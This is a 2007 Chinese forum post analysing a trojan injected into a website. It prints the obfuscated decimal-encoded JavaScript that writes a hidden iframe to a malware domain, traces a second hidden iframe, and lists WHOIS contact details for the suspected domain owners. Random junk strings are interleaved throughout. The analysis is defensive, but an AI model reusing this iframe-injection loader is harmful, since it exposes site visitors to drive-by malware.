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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, CX](^yU_  
Oc\Bu6F  
http://www.areway.cn/?p=175 qs\ O(K8  
SQ*dC  
_`6fGu& W  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: r>v_NKS]t  
          =HJ)!(  
<script>t=’60,105,102,114,97,109,101, ;dXQB>Za  
32,115,114,99,61,104,116,116,112,58,47,47, K$>C*?R  
102,114,101,101,46,117,45,117,117,117,46,99, 5sbMp;ZM  
110,47,101,114,114,111,114,46,104,116,109, y+3< ] N  
32,119,105,100,116,104,61,49,48,48,32,104, "`pI! nj  
101,105,103,104,116,61,48,62,60,47,105,102, 5nq0#0O c  
114,97,109,101,62′; &,?bX])  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> }9n{E-bj*  
                                                                                                  u\~dsD2)q  
<script>t=’60,105,102,114,97,109,101,32,115, om$x;L6  
114,99,61,104,116,116,112,58,47,47,102,114, :',.I  
101,101,46,117,45,117,117,117,46,99,110,47, <b0;Nf   
101,114,114,111,114,46,104,116,109,32,119, jJ^p ?  
105,100,116,104,61,49,48,48,32,104,101,105, *5( h,s3&  
103,104,116,61,48,62,60,47,105,102,114,97, 3+6s}u)  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); J%|!KQl  
document.write(t);</script> p(EV-^  
                                                                                                  =nQ"ye  
<html xmlns=” XA8{N  
http://www.w3.org/1999/xhtml Cx>iSx  
“> Q;p?.GI?-  
<head> ?L=@Zs  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> w+ZeVZv!r  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> #{973~uj  
<title>首页 - 爱生活家庭网 [kf$8 2  
                                                                                                                                                    SrMg=a  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 0@w8,x  
转换字符串后的大概内容是(谁点击后果自付): gg ;&a(  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… _M n7zt1^  
                                                                                                                                  I[|5 DQ  
查询玉米u-uuu.cn的详细信息: 9IFK4>&O6  
Domain Name: u-uuu.cn 20[_eu)  
ROID: 20070901s10001s64972306-cn o&2(xI2  
Domain Status: ok KiXXlaOs  
Registrant Organization: 王雷 r)$(>/[$  
Registrant Name: 王雷 .ztO._J7f  
Administrative Email: czlovexs@126.com N?`-$C ]  
Sponsoring Registrar: 北京万网志成科技有限公司 I;dc[m  
Name Server:ns.yovole.com _jmkAmeu  
Name Server:ns1.yovole.com /A3tY"Vn  
Registration Date: 2007-09-01 17:54 xL,;(F\^  
Expiration Date: 2008-09-01 17:54 n(-1vN  
最后PING了一下地址 都没有什么…. l4c9.'6  
                                                                                                \iFh-?(  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. YXCfP~i  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 9F8"(  
<script language=”javascript” src=” T;(k  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script -h&AO\*^W  
> |KR; $e&  
这个玉米应该有可能是木马作者的: <dxc"A  
foafau.info的详细信息: <uXZ*E  
Access to INFO WHOIS information is provided to assist persons in (ly4[G1y  
determining the contents of a domain name registration record in the t!MGSB~  
Afilias registry database. The data in this record is provided by Gni<@;}  
Afilias Limited for informational purposes only, and Afilias does not ;0lHi4 c0  
guarantee its accuracy.  This service is intended only for query-based $ZSjq  
access. You agree that you will use this data only for lawful purposes O)g\/uRy  
and that, under no circumstances will you use this data to: (a) allow, sqkk 4w1#C  
enable, or otherwise support the transmission by e-mail, telephone, or u~Zx9>f  
facsimile of mass unsolicited, commercial advertising or solicitations HIUB:  
to entities other than the data recipient’s own existing customers; or RY=B>398:  
(b) enable high volume, automated, electronic processes that send d(u"^NH;  
queries or data to the systems of Registry Operator, a Registrar, or }E626d}uA  
Afilias except as reasonably necessary to register domain names or 2y/|/IW=  
modify existing registrations. All rights reserved. Afilias reserves P@ Oq'y[  
the right to modify these terms at any time. By submitting this query, C*A!`Q?1Y  
you agree to abide by this policy. sJ{S(wpi"  
Domain ID:D22418703-LRMS 9 06b=  
Domain Name:FOAFAU.INFO ,tt]C~\u  
Created On:20-Nov-2007 16:05:42 UTC df}DJB  
Last Updated On:20-Nov-2007 16:05:44 UTC +C4UM9  
Expiration Date:20-Nov-2008 16:05:42 UTC E! '|FJ  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) y7ng/vqM7  
Status:CLIENT DELETE PROHIBITED SGi(Zkc  
Status:CLIENT RENEW PROHIBITED hV,)u3  
Status:CLIENT TRANSFER PROHIBITED $n |)M+d  
Status:CLIENT UPDATE PROHIBITED 15NeC7GAh  
Status:TRANSFER PROHIBITED oWg"f*  
Registrant ID:GODA-040110615 p*F.WxB)4  
Registrant Name:liu hong "`l8*]z  
Registrant Organization: i,5mH$a&u:  
Registrant Street1:beijing jQDXl  
Registrant Street2: wxy. &a]  
Registrant Street3: )$[.XKoT  
Registrant City:beijing 0s>ozAJ  
Registrant State/Province: luNEgCq  
Registrant Postal Code:100000 {G _ :#cep  
Registrant Country:CN y7a84)j3  
Registrant Phone:+86.860108888777 WCf?_\cG  
Registrant Phone Ext.: rVo0H.+N)`  
Registrant FAX: |$AoI  
Registrant FAX Ext.: ma__LWKM,  
Registrant Email:bbbshiji@163.com ;Mzy>*#$Q  
Admin ID:GODA-240110615 S6~&g|T,  
Admin Name:liu hong 6x?3%0Km  
Admin Organization: z"[}Sk  
Admin Street1:beijing 2y"]rUS`  
Admin Street2: IIrp-EMXJ  
Admin Street3: W|NT*g{;M  
Admin City:beijing EZICH&_  
Admin State/Province: >x /;'Y.  
Admin Postal Code:100000 <d&9`e1Hc  
Admin Country:CN :=CRsQAn  
Admin Phone:+86.860108888777 )#|I(Gz ^  
Admin Phone Ext.: gaBVD*>  
Admin FAX: (c^ZFh2]  
Admin FAX Ext.: xA?(n!{P  
Admin Email:bbbshiji@163.com =\[}@Kh  
Billing ID:GODA-340110615  nIWZo ~  
Billing Name:liu hong uH"W07  
Billing Organization: rV *`0hA1  
Billing Street1:beijing Z4@%0mFll  
Billing Street2: ,\2w+L5TD  
Billing Street3: @fjVCc;  
Billing City:beijing c-?2>%;(V  
Billing State/Province: +;@p'af!9  
Billing Postal Code:100000 $0(~ID  
Billing Country:CN *3A`7usU  
Billing Phone:+86.860108888777 ^seb8o7  
Billing Phone Ext.: a,>`ab%>  
Billing FAX: 2.6F5&:($  
Billing FAX Ext.: #.Q8q  
Billing Email:bbbshiji@163.com zG"*B_l}+  
Tech ID:GODA-140110615 d z-  
Tech Name:liu hong e#R'_}\yj  
Tech Organization: CVk.Ez6  
Tech Street1:beijing XkGS3EY  
Tech Street2: sTmY'5ry  
Tech Street3: uaiCyh1:  
Tech City:beijing W.|r=   
Tech State/Province: KMU2Po qD  
Tech Postal Code:100000 E;*JD x  
Tech Country:CN PF6w'T 5  
Tech Phone:+86.860108888777 !%8|R]d  
Tech Phone Ext.: >I*Qc<X91  
Tech FAX: q8Z,XfF^S  
Tech FAX Ext.: 8D)I~0\  
Tech Email:bbbshiji@163.com 1kDr;.m%  
Name Server:NS27.DOMAINCONTROL.COM ug?])nO.C  
Name Server:NS28.DOMAINCONTROL.COM px7<;(I  
Name Server: <E&[sQ|3  
Name Server: AJ%x"  
Name Server: Ho_ 2zx:8b  
Name Server: 76'vsg  
Name Server: @xBw'  
Name Server: D=!e6E<>@  
Name Server: 7y/Pch  
Name Server: I7Uj<a=(q  
Name Server: 8`$lsD  
Name Server: .5ItH^  
Name Server: "&Y5Nh  
                                                                                                          A/xo'G  
接着下载每个文件里面的代码: bAd$ >DI[  
一步一步看.. Z2.S:y.  
}}cS-p  
)ld !(d=  
a YC[15?'  
yn;sd+:z  
4/Wqeq,E8  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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